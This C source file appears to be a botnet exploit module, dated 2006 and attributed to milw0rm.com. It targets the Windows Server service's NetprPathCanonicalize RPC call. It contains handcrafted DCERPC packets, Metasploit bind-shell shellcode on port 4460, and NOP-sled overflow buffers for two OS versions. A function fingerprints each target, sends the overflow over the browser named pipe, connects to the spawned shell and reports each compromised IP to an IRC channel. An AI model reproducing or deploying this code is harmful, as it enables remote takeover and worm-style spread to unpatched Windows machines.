#include "includes.h"
#include "functions.h"

#pragma comment(lib, "mpr")
#pragma comment(lib, "Rpcrt4")

// bind uuid interface: 4b324fc8-1670-01d3-1278-5a47bf6ee188 v3.0
char DCERPC_Bind_RPC_Service[] =
       "\x05\x00\x0B\x03\x10\x00\x00\x00\x48\x00\x00\x00\x00\x00\x00\x00"
       "\xD0\x16\xD0\x16\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00"
       "\xC8\x4F\x32\x4B\x70\x16\xD3\x01\x12\x78\x5A\x47\xBF\x6E\xE1\x88"
       "\x03\x00\x00\x00\x04\x5D\x88\x8A\xEB\x1C\xC9\x11\x9F\xE8\x08\x00"
       "\x2B\x10\x48\x60\x02\x00\x00\x00";

// request windows api: NetprPathCanonicalize (0x1f)
char DCERPC_Request_RPC_Service[] =
       "\x05\x00\x00\x03\x10\x00\x00\x00\x30\x08\x00\x00\x00\x00\x00\x00"
       "\x18\x08\x00\x00\x00\x00\x1f\x00\xff\xff\xff\xff\x01\x00\x00\x00"
       "\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00";

       // path ...

char DCERPC_Request_RPC_Service_[] =
       "\xfa\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00"
       "\x00\x00\x00\x00\xfa\x00\x00\x00\x00\x00\x00\x00";

/*char sc[] =
       "\x6a\x51\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xa8\x97\x90"
       "\x88\x83\xeb\xfc\xe2\xf4\x29\x53\x6f\x67\x57\x68\xd4\x74\xc2\x7c"
       "\xdd\x60\x51\x68\x6f\x77\xc8\x1c\xfc\xac\x8c\x1c\xd5\xb4\x23\xeb"
       "\x95\xf0\xa9\x78\x1b\xc7\xb0\x1c\xcf\xa8\xa9\x7c\xd9\x03\x9c\x1c"
       "\x91\x66\x99\x57\x09\x24\x2c\x57\xe4\x8f\x69\x5d\x9d\x89\x6a\x7c"
       "\x64\xb3\xfc\xb3\xb8\xfd\x4d\x1c\xcf\xac\xa9\x7c\xf6\x03\xa4\xdc"
       "\x1b\xd7\xb4\x96\x7b\x8b\x84\x1c\x19\xe4\x8c\x8b\xf1\x4b\x99\x4c"
       "\xf4\x03\xeb\xa7\x1b\xc8\xa4\x1c\xe0\x94\x05\x1c\xd0\x80\xf6\xff"
       "\x1e\xc6\xa6\x7b\xc0\x77\x7e\xf1\xc3\xee\xc0\xa4\xa2\xe0\xdf\xe4"
       "\xa2\xd7\xfc\x68\x40\xe0\x63\x7a\x6c\xb3\xf8\x68\x46\xd7\x21\x72"
       "\xf6\x09\x45\x9f\x92\xdd\xc2\x95\x6f\x58\xc0\x4e\x99\x7d\x05\xc0"
       "\x6f\x5e\xfb\xc4\xc3\xdb\xfb\xd4\xc3\xcb\xfb\x68\x40\xee\xc0\x86"
       "\xcc\xee\xfb\x1e\x71\x1d\xc0\x33\x8a\xf8\x6f\xc0\x6f\x5e\xc2\x87"
       "\xc1\xdd\x57\x47\xf8\x2c\x05\xb9\x79\xdf\x57\x41\xc3\xdd\x57\x47"
       "\xf8\x6d\xe1\x11\xd9\xdf\x57\x41\xc0\xdc\xfc\xc2\x6f\x58\x3b\xff"
       "\x77\xf1\x6e\xee\xc7\x77\x7e\xc2\x6f\x58\xce\xfd\xf4\xee\xc0\xf4"
       "\xfd\x01\x4d\xfd\xc0\xd1\x81\x5b\x19\x6f\xc2\xd3\x19\x6a\x99\x57"
       "\x63\x22\x56\xd5\xbd\x76\xea\xbb\x03\x05\xd2\xaf\x3b\x23\x03\xff"
       "\xe2\x76\x1b\x81\x6f\xfd\xec\x68\x46\xd3\xff\xc5\xc1\xd9\xf9\xfd"
       "\x91\xd9\xf9\xc2\xc1\x77\x78\xff\x3d\x51\xad\x59\xc3\x77\x7e\xfd"
       "\x6f\x77\x9f\x68\x40\x03\xff\x6b\x13\x4c\xcc\x68\x46\xda\x57\x47"
       "\xf8\x67\x66\x77\xf0\xdb\x57\x41\x6f\x58";*/
/* win32_bind -  EXITFUNC=seh LPORT=4460 Size=344 Encoder=PexFnstenvSub http://metasploit.com */
char sc[] =
	"\x29\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x17"
	"\x91\xaa\xbf\x83\xeb\xfc\xe2\xf4\xeb\xfb\x41\xf2\xff\x68\x55\x40"
	"\xe8\xf1\x21\xd3\x33\xb5\x21\xfa\x2b\x1a\xd6\xba\x6f\x90\x45\x34"
	"\x58\x89\x21\xe0\x37\x90\x41\xf6\x9c\xa5\x21\xbe\xf9\xa0\x6a\x26"
	"\xbb\x15\x6a\xcb\x10\x50\x60\xb2\x16\x53\x41\x4b\x2c\xc5\x8e\x97"
	"\x62\x74\x21\xe0\x33\x90\x41\xd9\x9c\x9d\xe1\x34\x48\x8d\xab\x54"
	"\x14\xbd\x21\x36\x7b\xb5\xb6\xde\xd4\xa0\x71\xdb\x9c\xd2\x9a\x34"
	"\x57\x9d\x21\xcf\x0b\x3c\x21\xff\x1f\xcf\xc2\x31\x59\x9f\x46\xef"
	"\xe8\x47\xcc\xec\x71\xf9\x99\x8d\x7f\xe6\xd9\x8d\x48\xc5\x55\x6f"
	"\x7f\x5a\x47\x43\x2c\xc1\x55\x69\x48\x18\x4f\xd9\x96\x7c\xa2\xbd"
	"\x42\xfb\xa8\x40\xc7\xf9\x73\xb6\xe2\x3c\xfd\x40\xc1\xc2\xf9\xec"
	"\x44\xc2\xe9\xec\x54\xc2\x55\x6f\x71\xf9\xbb\xd3\x71\xc2\x23\x5e"
	"\x82\xf9\x0e\xa5\x67\x56\xfd\x40\xc1\xfb\xba\xee\x42\x6e\x7a\xd7"
	"\xb3\x3c\x84\x56\x40\x6e\x7c\xec\x42\x6e\x7a\xd7\xf2\xd8\x2c\xf6"
	"\x40\x6e\x7c\xef\x43\xc5\xff\x40\xc7\x02\xc2\x58\x6e\x57\xd3\xe8"
	"\xe8\x47\xff\x40\xc7\xf7\xc0\xdb\x71\xf9\xc9\xd2\x9e\x74\xc0\xef"
	"\x4e\xb8\x66\x36\xf0\xfb\xee\x36\xf5\xa0\x6a\x4c\xbd\x6f\xe8\x92"
	"\xe9\xd3\x86\x2c\x9a\xeb\x92\x14\xbc\x3a\xc2\xcd\xe9\x22\xbc\x40"
	"\x62\xd5\x55\x69\x4c\xc6\xf8\xee\x46\xc0\xc0\xbe\x46\xc0\xff\xee"
	"\xe8\x41\xc2\x12\xce\x94\x64\xec\xe8\x47\xc0\x40\xe8\xa6\x55\x6f"
	"\x9c\xc6\x56\x3c\xd3\xf5\x55\x69\x45\x6e\x7a\xd7\xe7\x1b\xae\xe0"
	"\x44\x6e\x7c\x40\xc7\x91\xaa\xbf";


BOOL netapi(char *target, void* conn,EXINFO exinfo)
{
	   IRC* irc=(IRC*)conn;
       HANDLE hFile;
       NETRESOURCE nr;

       char szRemoteName[MAX_PATH], szPipePath[MAX_PATH];

       unsigned int i;

       unsigned char szInBuf[4096];
       unsigned long dwRead, nWritten;

       unsigned char szReqBuf[2096];

	int OS=FpHost(exinfo.ip, FP_RPC);
	if(OS==OS_UNKNOWN) OS=FpHost(exinfo.ip, FP_SMB);
	if(OS==OS_UNKNOWN) return FALSE;


	/*		// fill in sockaddr and resolve the host
		SOCKADDR_IN ssin; 
		ZeroMemory(&ssin,sizeof(ssin));
		ssin.sin_family = AF_INET;
		ssin.sin_port = fhtons(exinfo.port);
		ssin.sin_addr.s_addr = finet_addr(exinfo.ip);*/


       memset(szReqBuf, 0, sizeof(szReqBuf));

      // if (atoi(argv[2]) == 1) 
	   if (OS == 2) 
	   {
               unsigned char szBuff[1064];

               // build payload buffer
               memset(szBuff, '\x90', 1000);
               memcpy(szBuff+630, sc, sizeof(sc));

               for(i=1000; i<1064; i+=4) {
                       memcpy(szBuff+i, "\x04\x08\x02\x00", 4);
               }

               // build request buffer
               memcpy(szReqBuf, DCERPC_Request_RPC_Service, sizeof(DCERPC_Request_RPC_Service)-1);
               memcpy(szReqBuf+44, "\x15\x02\x00\x00", 4); /* max count */
               memcpy(szReqBuf+48, "\x00\x00\x00\x00", 4); /* offset */
               memcpy(szReqBuf+52, "\x15\x02\x00\x00", 4); /* actual count */
               memcpy(szReqBuf+56, szBuff, sizeof(szBuff));
               memcpy(szReqBuf+1120, "\x00\x00\x00\x00", 4); /* align string */
               memcpy(szReqBuf+1124, DCERPC_Request_RPC_Service_, sizeof(DCERPC_Request_RPC_Service_)-1);
               memcpy(szReqBuf+1140 , "\xeb\x02", 2);
       }
	   if (OS == 3)
       {
               unsigned char szBuff[708];

               memset(szBuff, '\x90', 612); /* size of shellcode */
               memcpy(szBuff, sc, sizeof(sc));

               memcpy(szBuff+612, "\x0a\x08\x02\x00", 4);
               memset(szBuff+616, 'A', 8); // 8 bytes padding
               memcpy(szBuff+624, "\x04\x08\x02\x00", 4);
               memset(szBuff+628, '\x90', 32);
               memcpy(szBuff+660, "\x04\x08\x02\x00", 4);
               memset(szBuff+664, 'B', 8); // 8 bytes padding
               memcpy(szBuff+672, "\x04\x08\x02\x00", 4);
               memset(szBuff+676, '\x90', 32);

               // build request buffer
               memcpy(szReqBuf, DCERPC_Request_RPC_Service, sizeof(DCERPC_Request_RPC_Service)-1);
               memcpy(szReqBuf+44, "\x63\x01\x00\x00", 4); /* max count */
               memcpy(szReqBuf+48, "\x00\x00\x00\x00", 4); /* offset */
               memcpy(szReqBuf+52, "\x63\x01\x00\x00", 4); /* actual count */
               memcpy(szReqBuf+56, szBuff, sizeof(szBuff));
               memcpy(szReqBuf+764, "\x00\x00\x00\x00", 4); /* align string */
               memcpy(szReqBuf+768, DCERPC_Request_RPC_Service_, sizeof(DCERPC_Request_RPC_Service_)-1);
       }

      // printf("[+] Connecting to %s ... \n", argv[1]);

       _snprintf(szRemoteName, sizeof(szRemoteName), "\\\\%s\\ipc$", exinfo.ip);
	   		//sprintf(szPipePath, "\\\\%s\\", exinfo.ip);
		//	strcat(szPipePath,"ipc$");
       nr.dwType = RESOURCETYPE_ANY;
       nr.lpLocalName = NULL;
       nr.lpProvider = NULL;
       nr.lpRemoteName = szRemoteName;
       if (WNetAddConnection2(&nr, "", "", 0) != NO_ERROR) {
      //         printf("[-] Failed to connect to host !\n");
               return FALSE;
       }

       //_snprintf(szPipePath, sizeof(szPipePath), "\\\\%s\\pipe\\browser", exinfo.ip);
	      sprintf(szPipePath, "\\\\%s\\", exinfo.ip);
		strcat(szPipePath,"pipe\\browser");
       hFile = CreateFile(szPipePath, GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);

       if (hFile == INVALID_HANDLE_VALUE) {
       //        printf("[-] Failed to open named pipe !\n");
               return FALSE;
       }

      // printf("[+] Binding to RPC interface ... \n");
       if (TransactNamedPipe(hFile, DCERPC_Bind_RPC_Service, sizeof(DCERPC_Bind_RPC_Service), szInBuf, sizeof(szInBuf), &dwRead, NULL) == 0) {
            //   printf("[-] Failed to bind to interface !\n");
               CloseHandle(hFile);
               return FALSE;
       }

       //printf("[+] Sending RPC request ... \n");
       if (!WriteFile(hFile, szReqBuf, sizeof(szReqBuf), &nWritten, 0)) {
          //     printf("[-] Unable to transmit RPC request !\n");
               CloseHandle(hFile);
               return FALSE;
       }
	if (ConnectShell(exinfo,bindport))
	{
		exploit[exinfo.exploit].stats++;
		if (!exinfo.silent)
			irc->privmsg(target,"%s %s: Exploiting IP: %s.", scan_title, exploit[exinfo.exploit].name, exinfo.ip);
	}
	else
		if (!exinfo.silent && exinfo.verbose)
			irc->privmsg(target,"%s %s: Failed to exploit IP: %s.", scan_title, exploit[exinfo.exploit].name, exinfo.ip);

	return TRUE;
}


// milw0rm.com [2006-08-28]

